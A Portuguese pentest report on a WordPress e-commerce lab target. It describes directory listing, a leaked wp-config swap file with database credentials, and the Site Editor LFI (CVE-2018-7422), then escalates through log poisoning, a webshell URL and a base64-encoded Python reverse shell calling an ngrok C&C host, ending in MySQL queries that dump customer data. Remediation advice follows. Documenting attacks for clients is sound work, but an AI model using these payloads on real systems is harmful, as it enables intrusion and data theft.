PENTEST REPORT - CrowSec · 2020. 8. 9. · Com o acesso a webshell, podemos executar então o...
Transcript of PENTEST REPORT - CrowSec · 2020. 8. 9. · Com o acesso a webshell, podemos executar então o...
1
Loja Leto
PENTEST REPORT
www.crowsec.com.br
www.crowsec.com.br
www.crowsec.com.br
www.crowsec.com.br
R. Mal. Deodoro, 51, 16° Andar,
Centro – Curitiba/BR
R. Mal. Deodoro, 51, 16° Andar,
Centro – Curitiba/BR
R. Mal. Deodoro, 51, 16° Andar,
Centro – Curitiba/BR
R. Mal. Deodoro, 51, 16° Andar,
Centro – Curitiba/BR
R. Mal. Deodoro, 51, 16° Andar,
Centro – Curitiba/BR
R. Mal. Deodoro, 51, 16° Andar,
Centro – Curitiba/BR
CrowSec – Segurança Ofensiva
CrowSec – Segurança Ofensiva
CrowSec – Segurança Ofensiva
CrowSec – Segurança Ofensiva
CrowSec – Segurança Ofensiva
CrowSec – Segurança Ofensiva
CrowSec – Segurança Ofensiva
CrowSec – Segurança Ofensiva
DOCUMENTO CONFIDENCIAL
2
Loja Lato Sra Luciane Goes
Carlos Vieira PENETRATION TESTER
CROWSEC SEGURANÇA OFENSIVA ® 2020
DOCUMENTO CONFIDENCIAL
3
Sumário
2 - Introdução e objetivo .............................................................................. 5
2.1 – Escopo ................................................................................................................................ 5
2.3 – Responsabilidades .............................................................................................................. 6
2.4 - Metodologia ........................................................................................................................ 6
3. - Sumário executivo ................................................................................ 6
3.1 - Resumo das ameaças ......................................................................................................... 6
4. - Resultado do Trabalho - Análise Técnica ............................................... 7
4.1 – Coleta de Informação .......................................................................................................... 7
4.2 – Identificação e análise ......................................................................................................... 8
5 - Exploração e Vazamento de dados ...................................................... 12
5.1 – Remote Code Execution (com C&C) ................................................................................. 12
Conclusões finais ..................................................................................... 18
DOCUMENTO CONFIDENCIAL
4
DOCUMENTO CONFIDENCIAL
5
2 - Introdução e objetivo
A CrowSec foi contratada para conduzir um PENTEST no e-commerce da loja Leto. O
Pentest foi conduzido simulando um ataque malicioso com objetivo de determinar o impacto que
falhas de segurança podem ter no que diz respeito à integridade e confidencialidade do negócio.
2.1 – Escopo
De acordo com o combinado e acordado entre as partes, o PENTEST escolhido foi do tipo
BLACKBOX (Sem conhecimento de informações), ou seja, a única informação oferecida pela
CONTRATANTE foi o IP e DNS da empresa.
IP/DNS LOCAL (Cloud / On-premises)
loja.labdepentest.com.br Nuvem
A CONTRATANTE deu liberdade para que o teste inicie a partir dos IP’s informados e
tem conhecimento que a CONTRATADA teve permissão de acessar seus ativos (servidores e
serviços) internos desde que o ataque tenha sido iniciado através dos IP’s informados
O objetivo deste PENTEST do tipo BLACKBOX é conduzir uma simulação de ataque
malicioso da maneira que seja possível determinar o impacto que as falhas de segurança possam
apresentar na:
• Na Integridade dos sistemas da companhia
• Na confidencialidade das informações de clientes
• Na infraestrutura interna e disponibilidade dos sistemas e serviços
O resultado dessa avaliação deve ser usado para mitigação dessas falhas a fim de
minimizar os riscos e melhorar a segurança.
2.2 - Limitações de Escopo
As limitações impostas pela CONTRATANTE foram:
• Ataques DoS e DDoS (Negação de Serviço) (visto que outra empresa presta
suporte a disponibilidade de seus sistemas)
• Ataques de Engenharia Social (pois objetivo principal da contratante é medir o
nível de segurança de seu ambiente sem depender do fator de erro humano)
DOCUMENTO CONFIDENCIAL
6
2.3 – Responsabilidades
O trabalho desenvolvido pela CrowSec não tem como objetivo corrigir as possíveis
vulnerabilidades, nem proteger a CONTRATANTE contra-ataques internos e externos, nosso
objetivo é fazer um levantamento dos riscos e recomendar formas para minimizá-los.
As recomendações sugeridas neste relatório devem ser testadas e validadas pela equipe
técnica da empresa CONTRATANTE antes de serem implantadas em ambiente em produção. A
CrowSec não se responsabiliza pela implantação e possíveis impactos que possam vir a ocorrer
em outras aplicações ou serviços.
2.4 - Metodologia
A metodologia utilizada neste teste visa analisar os níveis de proteção implantados,
iniciando sem nenhuma informação disponibilizada pela empresa.
O teste se inicia na fase de COLETA DE INFORMAÇÕES, onde busca-se informações
públicas sobre alvo, depois passa para a fase de reconhecimento e identificação da aplicação, onde
identifica-se versões de software, tipo dos sistemas, arquitetura etc. Na sequência é iniciado uma
varredura manual para encontrar possíveis vetores de entrada e posteriormente planejar o ataque,
somente após esse reconhecimento se inicia a fase de detecção de vulnerabilidades e
posteriormente a exploração e validação do risco.
3. - Sumário executivo
Os resultados das avaliações efetuadas no e-commerce a partir da internet demonstram que
a empresa possui riscos de segurança no qual a presença de vulnerabilidades GRAVES
compromete o sigilo de informações sensíveis e a imagem da empresa Leto. Em um ponto de falha
é possível obter acesso a várias informações dos clientes da loja como “RG, CPF e outras
informações pessoais vigentes na LGPD”.
3.1 - Resumo das ameaças
O sistema informado possui falhas médias e críticas de acordo com o CVSS (Common
Vulnerability Scoring System, durante uma análise de inteligência da CrowSec, foi identificado que é
possível acessar dados com documentos pessoais dos clientes que estão arquivados dentro do banco
de dados do e-commerce.
DOCUMENTO CONFIDENCIAL
7
4. - Resultado do Trabalho - Análise Técnica
4.1 – Coleta de Informação
Iniciamos a coleta de informação do ambiente a fim de levantar informações sobre a
tecnologia presente no site e foi identificado que o site atualmente está rodando a última versão do
Wordpress que em tese não tem nenhuma vulnerabilidade.
CMS: WordPress 5.4.2 (última versão)
O tema atualmente utilizado no CMS é o leto na versão 1.0.13 (aparentemente atualizado) e
os plugins woocommerce 4.3.1 e site editor 1.1.1 que estão na sua última versão.
Durante o processo de reconhecimento e análise inicial detectamos que o servidor está com a
função de Directory Listing habilitado e isso permite com que qualquer pessoa liste os uploads
enviados através do CMS.
Exemplo: https://loja.labdepentest.com.br/wp-content/uploads/2020/
Foi identificado também durante o processo de reconhecimento a existência de um arquivo .swp
(Swap) no servidor, onde contém informações críticas como credenciais de conexão com o banco
de dados e valores de chaves de criptografia!
Exemplo: https://loja.labdepentest.com.br/wp-config.php.swp
DOCUMENTO CONFIDENCIAL
8
4.2 – Identificação e análise
4.2 – 1 - Execução de código remota no servidor
Durante o processo de identificação e análise de vulnerabilidade identificamos uma
vulnerabilidade crítica de RCE no plugin “site editor” que está instalado no CMS Wordpress, é
possível executar comandos arbitrários dentro do servidor devido a uma falha de LFI (Local File
Inclusion) é possível ler arquivos confidenciais do servidor.
Podemos ver um exemplo da exploração da falha de LFI na URL abaixo onde é realizado a
leitura do arquivo /etc/passwd dentro do servidor atacado:
https://loja.labdepentest.com.br/wp-content/plugins/site-
editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?aj
ax_path=/etc/passwd
DOCUMENTO CONFIDENCIAL
9
Utilizando uma técnica conhecida como log poisoning é possível executar códigos
arbitrários dentro do servidor, a técnica consiste em “envenenar” o arquivo de log do apache e
utilizar o mesmo para executar códigos maliciosos dentro do servidor.
Os passos para reprodução do ataque são os seguintes:
É necessário criar uma payload maliciosa e enviar o código arbitrário dentro do parâmetro
“User-Agent” do HTTP Request, como no exemplo abaixo:
Ao enviar a requisição para o servidor, é necessário ler o arquivo de log para executar a
vulnerabilidade e em consequência o código malicioso:
Ao acessar a URL vulnerável, é possível ver que o código malicioso é injetado no campo do
User-Agent ao ler o arquivo de logs “/var/log/httpd/access_log” como na imagem abaixo:
URL Vulnerável:
https://loja.labdepentest.com.br/wp-content/plugins/site-
editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/httpd
/access_log
DOCUMENTO CONFIDENCIAL
10
4.2 – 1 - Dados adicionais sobre a falha:
CVE Descrição da CVE CVSS 3.0
CVE-2018-
7422
Uma vulnerabilidade de LFI no plug-in do Site Editor 1.1.1 para WordPress permite
que atacantes remotos leiam arquivos arbitrários por meio do parâmetro ajax_path no
arquivo editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php
7.5 (Alta)
4.2 – 1 - Recomendações e remediações:
É extremamente recomendado a desinstalação do plugin, visto que ele não possui mais atualizações
pelo seu mantenedor, recomendamos a utilização de outro plugin para executar as mesmas tarefas
já executadas pelo plugin instalado atualmente.
Links para referencias:
https://nvd.nist.gov/vuln/detail/CVE-2018-7422
https://www.exploit-db.com/exploits/44340
https://wpvulndb.com/vulnerabilities/9044
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7422
4.2 – 2 - Exposição de informações sensíveis
Durante o processo de reconhecimento identificamos que no servidor onde está hospedado o
e-commerce existe um arquivo de “swap” do arquivo de configuração do CMS (Wordpress), o wp-
config.php.
Simplesmente acessando a URL: https://loja.labdepentest.com.br/wp-config.php.swp é
possível acessar todas as informações presentes no arquivo de configuração do Wordpress.
Este arquivo é responsável por guardar as credenciais de acesso ao banco de dados, estas
informações são extremamente sensíveis.
DOCUMENTO CONFIDENCIAL
11
Prova de conceito:
Podemos identificar no arquivo o login “vulnapp” e a senha “vulnapp@@2020” para realizar a
conexão no banco de dados loja que está rodando em localhost.
4.2 – 2 – Dados adicionais sobre a falha
A falha acontece porque o administrador deixou um processo de leitura do arquivo aberto e
isso faz com que o servidor crie outro arquivo “.swp” ligado ao arquivo original, possivelmente
ocorreu algum tipo de erro que permitiu com que o arquivo “.swp” ficasse aberto no servidor, o
apache não interpreta arquivos .swp e por isso faz a transmissão dos dados em clear/text para as
solicitações feitas diretamente para ele.
DOCUMENTO CONFIDENCIAL
12
5 - Exploração e Vazamento de dados
5.1 – Remote Code Execution (com C&C)
A partir da falha de LFI é possível obter acesso a “shell” do servidor usando uma conexão reversa.
O processo funciona de forma com que o servidor estabeleça uma conexão com o servidor de
comando e controle (c&c) do atacante.
Para realizar a execução desta técnica foi necessário criar uma webshell e então executar um código
em python para estabelecer a conexão com o c&c.
Executamos o código malicioso abaixo para criar uma webshell:
O comando informado criou o arquivo “arquivo.php” na pasta /tmp do servidor, agora é possível
executar comandos diretamente sem ser necessário a execução do log poisoning!
Basta acessar a URL:
https://loja.labdepentest.com.br/wp-content/plugins/site-
editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?aj
ax_path=/tmp/arquivo.php&cmd=[comando]
Exemplo de execução remota de código:
https://loja.labdepentest.com.br/wp-content/plugins/site-
editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?aj
ax_path=/tmp/arquivo.php&cmd=id
DOCUMENTO CONFIDENCIAL
13
A partir da URL é possível executar qualquer comando dentro do servidor, depois de criar a
webshell, agora podemos executar o comando que por fim vai criar uma conexão com o servidor
C&C do atacante.
Com o acesso a webshell, podemos executar então o comando em python para realizar a
conexão com o C&C:
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-
8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6Cg
kJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzIu
dGNwLm5ncm9rLmlvJywxNTkxNikpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVw
KDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2
hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9K
Qo=')[0]))"
Após executar o código é possível ver que o servidor realizou a conexão no nosso C&C:
A imagem mostra que conseguimos o acesso a shell do servidor “172.31.5.189” do cluster
de servidores do e-commerce e atualmente não temos permissões administrativas no servidor,
porém com este nível de acesso é possível obter acesso a várias outras informações, como dados
que estão no banco de dados do servidor, dados de clientes e outros!
DOCUMENTO CONFIDENCIAL
14
Durante o processo de pós-exploração, identificamos que é possível se conectar ao banco de
dados local, usando apenas o login “root” e senha senha!
E com o login root é possível acessar todas as instâncias hospedadas no banco de dados,
podemos ver a imagem anexo o login como root e a listagem dos bancos de dados acessíveis:
Identificamos que é possivel extrair todas as informações de qualquer uma das instancias, como a
instancia “loja” e a “erp”.
Na instancia ERP, podemos acessar informações confidenciais de vários clientes, vamos evidenciar
a seguir os comandos executados para chegar até os dados:
1 – show databases;
2 – use erp;
3 – show tables;
4 – select * from clientes limit 10;
DOCUMENTO CONFIDENCIAL
15
Podemos verificar que um atacante teria acesso a todas as informações como Nome, idade,
CPF, RG, data de nascimento, sexo, signo, nome da mãe, nome do pai, e-mail, telefone, endereço e
várias outras informações pessoais.
Em uma ocasião de vazamento de dados pessoais a empresa pagaria uma multa por
vazamento de dados que poderia causar em alguns casos a falência do negócio!
5.1 – 2 - Recomendações e remediações
É de extrema importância a definição de um login e senha para o usuário padrão do mysql, a
definição correta das políticas de acesso ao banco de dados, o login “vulnapp” deve acessar
somente o banco de dados loja e não outros bancos de dados!
É de extrema importância a desabilitação plugin site editor no CMS, visto que apartir do
mesmo é possível realizar acesso remoto no servidor e até vazamento de dados das informações
contidas dentro do banco de dados!
5.1 – 3 Links de acompanhamento
https://medium.com/linode-cube/5-essential-steps-to-hardening-your-mysql-
database-591e477bbbd7
https://geekflare.com/apache-web-server-hardening-security/
DOCUMENTO CONFIDENCIAL
16
https://www.cyberciti.biz/tips/linux-security.html
https://wordpress.org/support/article/hardening-wordpress/
DOCUMENTO CONFIDENCIAL
17
DOCUMENTO CONFIDENCIAL
18
Conclusões finais
A CROWSEC SEGURANÇA OFENSIVA conclui este trabalho com objetivo atingido no
qual foi possível identificar problemas críticos de segurança e recomendar suas possíveis
mitigações.
É de extrema importância que a CONTRATANTE realize as correções recomendadas no
relatório e evite os riscos apontados no início do relatório, a CrowSec recomenda o tratamento das
falhas em caráter de urgência.
Após a CONTRATANTE aplicar todas as correções sugeridas a CROWSEC irá executar o
Reteste afim de validar as correções aplicadas pelo cliente.
Agradecemos a oportunidade em oferecermos nossos serviços e estamos à disposição para
qualquer dúvida que considerem pertinentes.
DOCUMENTO CONFIDENCIAL
19
Anexo I – Acordo de Confidencialidade
A CONTRATANTE (Loja Leto) e a CONTRATADA (CROWSEC SEGURANÇA OFENSIVA) acordam entre si:
1. A CONTRATANTE entrega a CONTRATADA informação de sua propriedade relativos às configurações de segurança de seus dispositivos informáticos sujeitos ao objeto da atividade contratada (Teste de Intrusão).
2. A informação entregue pela CONTRATANTE à CONTRATADA e vice-versa, relacionado ao objeto ou mesmo produto da atividade contratada se constitui Informação Confidencial.
3. A CONTRATADA se obriga a:
a. Manter em caráter sigiloso a Informação Confidencial e não disponibilizá-la a terceiros
sem o consentimento da CONTRATANTE. b. Utilizar a Informação Confidencial exclusivamente para a atividade contratada e tarefas
definidas no escopo deste trabalho. c. Restituir toda a Informação Confidencial toda vez que esta for solicitada pela
CONTRATANTE. d. Destruir toda Informação Confidencial com solicitação e consentimento da CONTRATANTE, a qual a CONTRATADA deverá provar tal destruição. e. Revelar a Informação Confidencial somente às pessoas cujo conhecimento é indispensável para atender a finalidade da atividade contratada. Estas pessoas devem manter as obrigações aqui previstas e a CONTRATADA responderá somente a elas. f. Eliminar toda cópia eletrônica e/ou impressa da Informação Confidencial de qualquer equipamento informático ou outros equipamentos de apoio, salvo autorização expressa da CONTRATANTE, uma vez que o trabalho seja finalizado.
4. A CONTRATADA está liberada de sua obrigação em guardar segredo da Informação Confidencial caso:
a. As evidências fornecidas pela CONTRANTE, sejam de prévio conhecimento da CONTRATADA em período anterior à atividade contratada. b. As informações sejam publicamente conhecidas sem que resultem no descumprimento da CONTRATADA ou de um terceiro sujeito a uma obrigação de confidencialidade. c. Exista uma obrigação jurídica de fornecimento da informação. Neste caso a CONTRATADA, poderá revelar somente o mínimo de Informação Confidencial necessário para o cumprimento da exigência legal. Neste caso, a informação apenas será fornecida depois da notificação formal a ambas as partes. Este direito também poderá ser exercido pela CONTRATADA no dia do vencimento do prazo para provimento desta informação, descrito no requerimento jurídico.
5. A CONTRATADA está ciente que:
a. A CONTRATANTE, não outorga nenhuma garantia a respeito da Informação Confidencial, salvo que este conteúdo é de sua propriedade e tem todo direito em revelá-la. b. A Informação Confidencial pode conter erros, ser inexata, não ser aplicável ou não se destinar à questão da atividade contratada. c. A CONTRATADA é exclusivamente responsável pela atualização da Informação Confidencial, o uso que ela outorgue e os efeitos que esta atualização resulte. d. A Informação Confidencial tem um valor estratégico para a CONTRATANTE.
6. A CONTRATANTE está ciente que:
a. Os documentos entregues (impressos ou eletrônicos) serão de acesso exclusivo aos
responsáveis pela empresa contratante e/ou área contratante.
DOCUMENTO CONFIDENCIAL
20
Loja Lato Sra Luciane Goes
CROWSEC SEGURANÇA OFENSIVA ® 2020